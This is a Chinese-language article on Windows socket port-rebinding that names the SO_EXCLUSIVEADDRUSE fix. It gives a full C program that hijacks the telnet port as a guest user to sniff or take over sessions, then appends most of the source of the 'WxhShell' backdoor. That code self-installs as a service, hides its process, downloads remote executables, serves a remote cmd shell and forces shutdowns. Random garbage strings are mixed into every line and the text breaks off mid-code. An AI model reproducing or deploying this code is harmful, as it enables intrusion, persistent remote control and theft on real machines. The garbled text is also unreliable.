在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Hk)IV"[R s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Kts#e:k@ =?Y%w%2 saddr.sin_family = AF_INET;
CT1)tRN ]oy>kRnb { saddr.sin_addr.s_addr = htonl(INADDR_ANY);
wm>I;|gA) ;[
UGEi bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
pJ*x[y }[a 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
c=?=u saMv.;s
1^ 这意味着什么?意味着可以进行如下的攻击:
`Oxo@G*@}W rSGp]W| 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
s?h=%;T[ ~/0t<^ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
IBYRuaEB (7 i@@ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
,'~8{,h5 $GI2rzh 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
NY.Y=CF(" 7aAT 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
R7xKVS_MP @I{v 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
_=ani9E]uF >^vyp! 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
L`>uO1O fI:j@Wug #include
#3!l6] #include
4L'dV #include
[se J'Io #include
VFUuG3p) DWORD WINAPI ClientThread(LPVOID lpParam);
N 2|?I(\B int main()
*`]LbS {
lCmTm WORD wVersionRequested;
SyHS 9> DWORD ret;
&_mOw. WSADATA wsaData;
di^E8egR$ BOOL val;
j. 1@{H SOCKADDR_IN saddr;
G&i<&.i SOCKADDR_IN scaddr;
~";GH20 int err;
)HPt(Ck SOCKET s;
O6nCu SOCKET sc;
[T 8BQn! int caddsize;
tYE\tbCO' HANDLE mt;
>f7;45i DWORD tid;
Kh{C$b wVersionRequested = MAKEWORD( 2, 2 );
,Jqi J?,4C err = WSAStartup( wVersionRequested, &wsaData );
BEn,py7 if ( err != 0 ) {
D[d+lq#p printf("error!WSAStartup failed!\n");
)n8(U%q$ return -1;
n}NO"eF>-s }
_ ^5w f saddr.sin_family = AF_INET;
v[S>
bUR;d78 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Yvky=RM /%W&zd=%# saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
9
gt$z}oU saddr.sin_port = htons(23);
FT0HU<." 1 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
oA_T9uh[ {
{*EA5; printf("error!socket failed!\n");
.nXOv] return -1;
>]DnEF& }
1+P&O4> val = TRUE;
(_2;}eg //SO_REUSEADDR选项就是可以实现端口重绑定的
&~ =q1? if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
ZM:!LkK {
p-p]dV printf("error!setsockopt failed!\n");
Aw]W- fx return -1;
aTJs.y-I~ }
s,KE,$5F //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
sA(
e //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
B2}|b^'I //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Y!M&8;> q|Oz if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
"RZVv~BD {
*|Cmm>z"7 ret=GetLastError();
(%`R{Y printf("error!bind failed!\n");
<F~0D0G return -1;
.i^aYbB$X }
7od6`k listen(s,2);
EfTuHg$pe while(1)
"oZ$/ap\ {
s>i`=[qFc caddsize = sizeof(scaddr);
hj~nLgpN //接受连接请求
_z`g@[m:t sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
-F&4<\=+ if(sc!=INVALID_SOCKET)
=3~u.iq$ {
,!m][ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
4tv}5llSG if(mt==NULL)
h[%t7qo= {
Vh%=JL
sK printf("Thread Creat Failed!\n");
"JHdF& break;
82mKI+9&" }
WH@CH4WM }
GIo7-
6kvm CloseHandle(mt);
p5 !B }
4P1<Zi+< closesocket(s);
epWTZV(1x WSACleanup();
H)eecH$K return 0;
s]D&): }
-!p +^wC DWORD WINAPI ClientThread(LPVOID lpParam)
W,\LdQ {
QX1rnVzg0 SOCKET ss = (SOCKET)lpParam;
DU@ZLk3 SOCKET sc;
%Ls5:Z= unsigned char buf[4096];
L?WF[nFR SOCKADDR_IN saddr;
G;^}, %< long num;
{$dq7m( DWORD val;
1WArgR DWORD ret;
H%}ro.u //如果是隐藏端口应用的话,可以在此处加一些判断
e:&+m `OSH //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
~M>EB6 saddr.sin_family = AF_INET;
FCk4[qOp7 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
|U~m8e&: saddr.sin_port = htons(23);
8$c_M if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
nUgZ]ag=G {
?1+JBl~/d printf("error!socket failed!\n");
J\WUBt-M return -1;
@|N'V"*MT }
#u<^ val = 100;
Z= 'DV1A$, if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
"ggViIOw& {
2HxT+|~d6 ret = GetLastError();
`|{6U"n return -1;
{giKC)! }
3G4N0{i if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
7K*\F}2)q {
, Ww\C ret = GetLastError();
aJQx"6c? return -1;
Z#J
cNquM }
~+JEl% if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
~^6[SbVb {
}qqE2;{ND printf("error!socket connect failed!\n");
Awip qDAu closesocket(sc);
U',.'"m closesocket(ss);
MS_@
Xe return -1;
mKsTA; }
F5*NK!U while(1)
r87)?-B {
W(C\lSE0 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
*%{ //如果是嗅探内容的话,可以再此处进行内容分析和记录
3!+N}[$iy //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
QNGICG- num = recv(ss,buf,4096,0);
5WT^;J9V if(num>0)
#/UlW send(sc,buf,num,0);
APfDy else if(num==0)
^KKU@ab9 break;
DE0gd
ux8 num = recv(sc,buf,4096,0);
xh7[{n[; if(num>0)
=LFrV9 send(ss,buf,num,0);
Ps0g else if(num==0)
-T
s8y break;
&~%(
RO }
n@hf{hA[a closesocket(ss);
Fj0a+r,h! closesocket(sc);
rO_|_nV[ return 0 ;
r`; " }
shjq4#9 fn!(cE|`E 17itC9U ==========================================================
#6jdv|fu r_5k$u( 下边附上一个代码,,WXhSHELL
yNVmTb9mF &_DRrp0CN ==========================================================
gypE~@ TAkM-iyH] #include "stdafx.h"
^/)!)=? h`_@eax #include <stdio.h>
@V9qbr=Z #include <string.h>
TQcEe@$) #include <windows.h>
M~6x&|2 #include <winsock2.h>
/c`s$h4- #include <winsvc.h>
1 z4s1Y #include <urlmon.h>
fnZa IV=H 8-A *Jc #pragma comment (lib, "Ws2_32.lib")
f9Vxtd #pragma comment (lib, "urlmon.lib")
&$'=SL(Z k Xs&k8 #define MAX_USER 100 // 最大客户端连接数
bIX'|= #define BUF_SOCK 200 // sock buffer
3\=iB&Gf| #define KEY_BUFF 255 // 输入 buffer
c]pO'6] BFCF+hU^6R #define REBOOT 0 // 重启
_?5$ST@5 #define SHUTDOWN 1 // 关机
2'R&K EmaVd+Sw #define DEF_PORT 5000 // 监听端口
;+) M~2 = 4. &t #define REG_LEN 16 // 注册表键长度
Y|s?9'z #define SVC_LEN 80 // NT服务名长度
cY}Nr#%s@U q ;@:,^ // 从dll定义API
k 5<[N2D|! typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
#4WA2EW typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
:%#(<@ { typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
\~1>%F'op typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
CoZXbTq <2\4eusk // wxhshell配置信息
LPg1 G+e struct WSCFG {
@Ju!|G9z/p int ws_port; // 监听端口
NwK(<dzG char ws_passstr[REG_LEN]; // 口令
OT&mNE4 int ws_autoins; // 安装标记, 1=yes 0=no
X(b"b:j' char ws_regname[REG_LEN]; // 注册表键名
E!a5-SrR char ws_svcname[REG_LEN]; // 服务名
"S">#.L char ws_svcdisp[SVC_LEN]; // 服务显示名
J!%cHqR char ws_svcdesc[SVC_LEN]; // 服务描述信息
<lx~/3<m char ws_passmsg[SVC_LEN]; // 密码输入提示信息
\Ty%E< int ws_downexe; // 下载执行标记, 1=yes 0=no
UE3#(:xA char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
STC'j1U char ws_filenam[SVC_LEN]; // 下载后保存的文件名
oNgu-& ,oW8im
};
8gA:s`ofJ ngZkBX // default Wxhshell configuration
IT`r&;5 struct WSCFG wscfg={DEF_PORT,
%cDTy]ILu "xuhuanlingzhe",
)N) "O? W9 1,
c'9-SY1'~ "Wxhshell",
HMUn+kk+ "Wxhshell",
.js@F/Hp "WxhShell Service",
=5JTVF "Wrsky Windows CmdShell Service",
Jy,Dcl "Please Input Your Password: ",
=4;GIiF@ 1,
IZ2c<B5& "
http://www.wrsky.com/wxhshell.exe",
R+c
{Pl "Wxhshell.exe"
6j]pJ]F6 };
ty8\@l >5i(U_`l // 消息定义模块
G(alM=q char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
u-CC UMR char *msg_ws_prompt="\n\r? for help\n\r#>";
a;Nj'M~U char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
HWr")%EhD char *msg_ws_ext="\n\rExit.";
. Q#X'j char *msg_ws_end="\n\rQuit.";
</K"\EU char *msg_ws_boot="\n\rReboot...";
LnN6{z{M char *msg_ws_poff="\n\rShutdown...";
%hYol89F char *msg_ws_down="\n\rSave to ";
HiBw==vlV KcGM=z?: char *msg_ws_err="\n\rErr!";
+["t@Q4IQ char *msg_ws_ok="\n\rOK!";
VfJbexYT eBD7 g- char ExeFile[MAX_PATH];
oQrkd: int nUser = 0;
T~nm Eap HANDLE handles[MAX_USER];
ZaCUc Px int OsIsNt;
*):x K;o \78w1Rkl SERVICE_STATUS serviceStatus;
P'prp=JD SERVICE_STATUS_HANDLE hServiceStatusHandle;
))M; .b.D Pkr0|bs* // 函数声明
W_zv"c int Install(void);
WQ\H2go int Uninstall(void);
DR."C+ int DownloadFile(char *sURL, SOCKET wsh);
Kn]c4h}@b5 int Boot(int flag);
MP Ma void HideProc(void);
e ;4y5i int GetOsVer(void);
*wml
4lh int Wxhshell(SOCKET wsl);
(6C%w)8' void TalkWithClient(void *cs);
FFT h}>> int CmdShell(SOCKET sock);
!aSu;Ln int StartFromService(void);
ub|tX 'o int StartWxhshell(LPSTR lpCmdLine);
MZt~
Abt 8:j8>K*6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
u S$:J:Drx VOID WINAPI NTServiceHandler( DWORD fdwControl );
$-dz1} e1e2Wk // 数据结构和表定义
*mQOW]x% SERVICE_TABLE_ENTRY DispatchTable[] =
3>[_2}l {
Z4\$h1tl {wscfg.ws_svcname, NTServiceMain},
HvWnPh1l {NULL, NULL}
qTA@0fL };
=K<8X!xUW 4\%0a,\^ // 自我安装
MQR@(>TZy int Install(void)
\Rc7$bS2H {
VP4W~;UV|\ char svExeFile[MAX_PATH];
mQQ5>0^m HKEY key;
Bc{#ia strcpy(svExeFile,ExeFile);
Qt_LBJUWV 8oI)q4V // 如果是win9x系统,修改注册表设为自启动
~!c~jcq]lZ if(!OsIsNt) {
Ybr&z7# 2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
+DwyMzeE RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
P)?)H]J" RegCloseKey(key);
nw3CI&Y` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
[XA
f=x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
tqY) RegCloseKey(key);
'1{#I/P; return 0;
9/LI[{ }
,|4%YaN.3 }
1mw<$'pm0 }
~=5 vc'' else {
`[JX}<~i Re <G#*^ // 如果是NT以上系统,安装为系统服务
M[ea!an SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Ku{DdiTg> if (schSCManager!=0)
L]o
5=K {
sa%2,e' SC_HANDLE schService = CreateService
utq*<,^ (
C LhD[/Fo schSCManager,
z5CZ!"&v wscfg.ws_svcname,
:^mfTj$ wscfg.ws_svcdisp,
$x&\9CRM SERVICE_ALL_ACCESS,
(,<ti): SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
J[:3H6%` SERVICE_AUTO_START,
Gc)
Zu`67 SERVICE_ERROR_NORMAL,
F`9;s@V* svExeFile,
M2ig iR NULL,
W{\){fr6O NULL,
;mV,r,\dH NULL,
v%|()Z0 NULL,
2nOoG/6
E NULL
*yGOmi );
>r7{e:~q if (schService!=0)
n237%LH[ {
CErkmod{}e CloseServiceHandle(schService);
f!}c0nb CloseServiceHandle(schSCManager);
:F:<{]oG_ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
ms'!E) strcat(svExeFile,wscfg.ws_svcname);
C[$uf if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
%?lPS RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
p&=F:- RegCloseKey(key);
@b=b>V[d6 return 0;
8S1%;@c }
%gB 0\C }
Z']D8>d CloseServiceHandle(schSCManager);
YcS}ug7 }
8H_3.MK }
Qc2_B\K^ LEMgRI`rf return 1;
P%5h!Z2m }
p1p4t40<l ;ti{
#(Ux // 自我卸载
WY%LeC!t int Uninstall(void)
.$>?2|gRv {
gP*:>[lR HKEY key;
2RDos# IAbK]kA if(!OsIsNt) {
#`5 M(
o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
\[&~.B RegDeleteValue(key,wscfg.ws_regname);
>a98H4 RegCloseKey(key);
P)~PrTa% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
2 @g'3M RegDeleteValue(key,wscfg.ws_regname);
)J+vmY~& RegCloseKey(key);
7\aLK# return 0;
9viQ<}K< }
r=dFk?8XbC }
S86%o,Saq\ }
'\dau> else {
V)\|I8" \HFh?3-g SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
m?hC!n> if (schSCManager!=0)
=)C}u6 {
(
q^umw SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
W`], if (schService!=0)
j'i-XIs {
Y7)YJI if(DeleteService(schService)!=0) {
k3se<NL[ CloseServiceHandle(schService);
Zs!)w9y&V CloseServiceHandle(schSCManager);
WF<0QH return 0;
^ MkT"> }
+<Ot@ luE CloseServiceHandle(schService);
mPGF Y }
@"T_W(i;BI CloseServiceHandle(schSCManager);
-\yaP8V }
[Dp 6q~RM }
eHG**@"X a
1bu return 1;
W&y%fd\&3 }
VA_\Z w5|az6wZB! // 从指定url下载文件
d|5u<f5 int DownloadFile(char *sURL, SOCKET wsh)
/EhojODMF {
<'QHe4 HRESULT hr;
,%X~/V char seps[]= "/";
X\\WQxj char *token;
;<%~g8:XL char *file;
=!r9;L,? char myURL[MAX_PATH];
$@q)IK%FDL char myFILE[MAX_PATH];
+\9Y;Ny 5B| iBS l strcpy(myURL,sURL);
Gs2.}lz token=strtok(myURL,seps);
0o[p<<c* while(token!=NULL)
z7F~;IB*u {
'6u;KIG file=token;
I'G$: GX token=strtok(NULL,seps);
AEm?g$a }
;5-Sn(G kc `Q-
N} GetCurrentDirectory(MAX_PATH,myFILE);
nm66U4.@ strcat(myFILE, "\\");
}NDw3{zn strcat(myFILE, file);
|_ HH[s*U send(wsh,myFILE,strlen(myFILE),0);
lKEdpF< send(wsh,"...",3,0);
98bmia&H hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
gPY2Bnw;l if(hr==S_OK)
D52ELr7 return 0;
swuW6p else
ro7\}O:I return 1;
oUR'gc : (Ac
'}O }
ZVE q{x1Zc ]1rr$f9 // 系统电源模块
1p>5ZkHb int Boot(int flag)
Z<z(;)?c {
UceZWtYa HANDLE hToken;
XX~~SvSM TOKEN_PRIVILEGES tkp;
Lm"l*j4 MzsDWx;eJ if(OsIsNt) {
ge?1ez2 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
+LV~%?W LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
ZeF PwW tkp.PrivilegeCount = 1;
#Zk6
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
?AX./LI AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
#
9Z];<g if(flag==REBOOT) {
( du<0J|PT if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
D_`MeqF}C return 0;
gO4`e(W }
Z1u{.^~ ^z else {
8$-(% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
828E^Q"< return 0;
rC}r99Pe:x }
6~V$0Y>] }
YY{S0jnhF else {
FkR9-X< if(flag==REBOOT) {
_!H{\kU if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Hb=4k)-/] return 0;
cD
Z]r@AQ }
0Z8K +,'! else {
rgdDkWLXC if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
QRhR.:M\ return 0;
)U e9:e }
>y"V% }
aGx`ec*t 3J~Q pw0< return 1;
Jj_E/c" }
i,M<}e1 *Ibl+ // win9x进程隐藏模块
Xa#`VDh void HideProc(void)
g:`V:kbY$ {
9a"[-B: 0sto9n3 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
_a"5[sG if ( hKernel != NULL )
:84fd\It4 {
<H`&Zqqk pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
5X4; (Qj ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
".onev^( FreeLibrary(hKernel);
m^@,0\F }
c?"#x-<1s 5;oWFl return;
IM|VGT0 }
lNowH0K!D -("sp // 获取操作系统版本
!"j?dQ.U; int GetOsVer(void)
u.x>::i& {
i]a 5cn OSVERSIONINFO winfo;
qd(C%Wk winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
oOUL<ihe? GetVersionEx(&winfo);
,1EyT> if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
u;H SX return 1;
TZT i:\nS else
i[sHPEml(5 return 0;
xCz(qR }
^.aFns{wv C,Q>OkSc // 客户端句柄模块
yt}Ve6 m int Wxhshell(SOCKET wsl)
"C&l7K;bp {
[U.3rcT"N SOCKET wsh;
b/HhGA0 struct sockaddr_in client;
D/^yAfI DWORD myID;
ZH;VEX W2P(!q>r] while(nUser<MAX_USER)
cm@q{(r {
[Nbs{f^J= int nSize=sizeof(client);
vx62u29m wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
|RS9N_eRt if(wsh==INVALID_SOCKET) return 1;
<V0]~3 '`&gSL.1a@ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
nh"nSBRxk if(handles[nUser]==0)
b(+M/O>I closesocket(wsh);
"bZ%1)+ else
4qXO8T#~J= nUser++;
$!%/Kk4M }
o8;>E>; WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
ZpvURp,I WcqQR))n return 0;
| s%--W }
X Uc(7>k s9+Rq*Qd // 关闭 socket
4<[,"<G~3 void CloseIt(SOCKET wsh)
?-%Q[W {
L|pMq!@J closesocket(wsh);
5&Al nUser--;
"7}bU_" :s ExitThread(0);
88x_}M^Fnl }
Ndq/n21j L"{qF<@V7& // 客户端请求句柄
zrVw l\& void TalkWithClient(void *cs)
,r^zDlS<q {
KM
li!.(b 0=O(+
yi SOCKET wsh=(SOCKET)cs;
wd*8w$\ char pwd[SVC_LEN];
9"hH2jc
char cmd[KEY_BUFF];
"TEF char chr[1];
>>/|Q: int i,j;
s)C5u;3! RQxL`7H while (nUser < MAX_USER) {
/}A"F[5 n]:Xmi8p if(wscfg.ws_passstr) {
4o?_G[
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
" O0p.o //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
EZnXS"z //ZeroMemory(pwd,KEY_BUFF);
d1]CN6 7{G i=0;
3+vbA;R while(i<SVC_LEN) {
N$]B$vv ehCGu(= // 设置超时
)N$T& fd_set FdRead;
Nc;cb struct timeval TimeOut;
d1CQ;,Df< FD_ZERO(&FdRead);
@9#l3 FD_SET(wsh,&FdRead);
QL/I/EgqC TimeOut.tv_sec=8;
<8;SSdoKi TimeOut.tv_usec=0;
!2L?8oP-z int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
N~NUBEKcp if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
9#(Nd, m}) *{WhUHZF if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
SFqY*:svOw pwd
=chr[0]; "[h9hoN
if(chr[0]==0xd || chr[0]==0xa) { `%S 35x9
pwd=0; TLu+5f
break; ;IyA"C(i
} g{PEplk
i++; y
buKwZFC
} EZs"?A
PgOOFRwP
// 如果是非法用户,关闭 socket >u?m
Bx
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +/O3L=QyJ
} (U@Ks )
_EPfeh;
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;::]R'F[
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |m{u]9
1N\/61+aA
while(1) { l9{}nz
P=3mLz-
ZeroMemory(cmd,KEY_BUFF); T.d1?
,f*Q3 S/I
// 自动支持客户端 telnet标准 7b8+"5~
j=0; 2F7( Y)
while(j<KEY_BUFF) { P^'TI[\L9
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kg&R
cmd[j]=chr[0]; tzIcR
#Z
if(chr[0]==0xa || chr[0]==0xd) { CghlyT
cmd[j]=0; \-?0ab3Z
break; P{m(.EC_
} {$>Pg/
j++; 2WO5Af%
} I9
(6
WwDd62g
// 下载文件 @T.+:U@S
if(strstr(cmd,"http://")) { J2ZV\8t
send(wsh,msg_ws_down,strlen(msg_ws_down),0); x-nO; L-2p
if(DownloadFile(cmd,wsh)) ^cDHC^Wm
send(wsh,msg_ws_err,strlen(msg_ws_err),0); j_3`J8WwF
else hs^K9Jt
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S:(YZ%#
} "ov270:
else { iW%~>`tT
i(qZ#oN
switch(cmd[0]) { X'uQr+p^
<aQ<Wy=\
// 帮助
B\54e Tn
case '?': { ,,G[360
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0u) m9eg
break; /7N&4FrG
} }3O 0nab
// 安装 qdnwaJ;&
case 'i': { &J?:wC=E
if(Install()) /hN;\Z[@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v<3KxP'a
else Y_zMj`HE
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xovsh\s
break; %*
k`z#b
} H\fsyxM7
// 卸载 +'|nsIx,
case 'r': { Sx8RH),k
if(Uninstall()) X$2f)3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zJ6""38Pr
else OwCbv j0#
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oGRd ;hsF
break; 6gs0Vm
} baoyU#X9
// 显示 wxhshell 所在路径 (kTu6t*
case 'p': { 0%<OwA2d
char svExeFile[MAX_PATH]; 6H1;Hl
f
strcpy(svExeFile,"\n\r"); )b?$
4<X^
strcat(svExeFile,ExeFile); uv=a}U;
send(wsh,svExeFile,strlen(svExeFile),0); \Up~"q>Kb
break; Xf#+^cQ
}
NDUH10Y:[
// 重启 9.%t9RM^
case 'b': { iE?yvtr8
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b>2{F6F
if(Boot(REBOOT)) ZkJLq[:cM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g=/!Ry=
else { "Zfm4Nx"
closesocket(wsh); 1xEFMHjy
ExitThread(0); \E=MV~:R
} &\=Tm~
break; U8.V Rn
} 7`j%5%q
// 关机 %M3L<2
case 'd': { < 1%}8t"
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !r8_'K5R(
if(Boot(SHUTDOWN)) f(G1xw]]@Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); c@2a)S8Y]
else { G@KDRv
closesocket(wsh); TSD7R
ExitThread(0); ppo0DC\>
} 9
JhCSw-<)
break; -=cm7/X
} ~N%+ZXh&E
// 获取shell jOU99X\0
case 's': {
:R`e<g~4
CmdShell(wsh); "O'c.v?{x
closesocket(wsh); Fge["p?GF
ExitThread(0); %AN,cE*
break; L+S)hgUH
} #*q]^Is"
// 退出 nG";?TT
case 'x': { -g."{|
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TQu.jC
CloseIt(wsh); =w* 8
break; \HIBnkj)3n
} !?>QN'p.b
// 离开 vV xw*\`<6
case 'q': { 74ho=
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q}G2f4
closesocket(wsh); @ x .`z
WSACleanup(); ;Xf1BG r
exit(1); c`/VYgcTqB
break; soLW'8
} ==
E8^jYJw
} Xt:$H6
y
} lu00@~rx/
?=LT
^Zp`
// 提示信息 Qd~z<U l
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \vJ0Mhk1
} S6}_N/;6~
} |{Ex)hkw
s1E 0atT
return; tfe]=_U
} 0%Le*C'yk
c~4Cpy^
// shell模块句柄 ZY8w1:'
int CmdShell(SOCKET sock) tkH]_cH'w
{ g^Hf^%3xP
STARTUPINFO si; qTK(sW
ZeroMemory(&si,sizeof(si)); .^M#BAt2
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R:+'"dBge
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ge/K.]>i
PROCESS_INFORMATION ProcessInfo; D+v?zQw
char cmdline[]="cmd"; 8R%<~fq r
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HAL\j5i
return 0; mI5J]hk
} ;:_AOb31N
IIih9I`IR
// 自身启动模式 uJCp
int StartFromService(void) "AZ|u#0P
{ !qp$Xtf+
typedef struct xVw@pR;
{ ]\KVA)\
DWORD ExitStatus; ^8EW/$k
DWORD PebBaseAddress; xxyc^\$
DWORD AffinityMask; $cK}Tlq
DWORD BasePriority; Arg/ge.y
ULONG UniqueProcessId; 5q*s_acQ
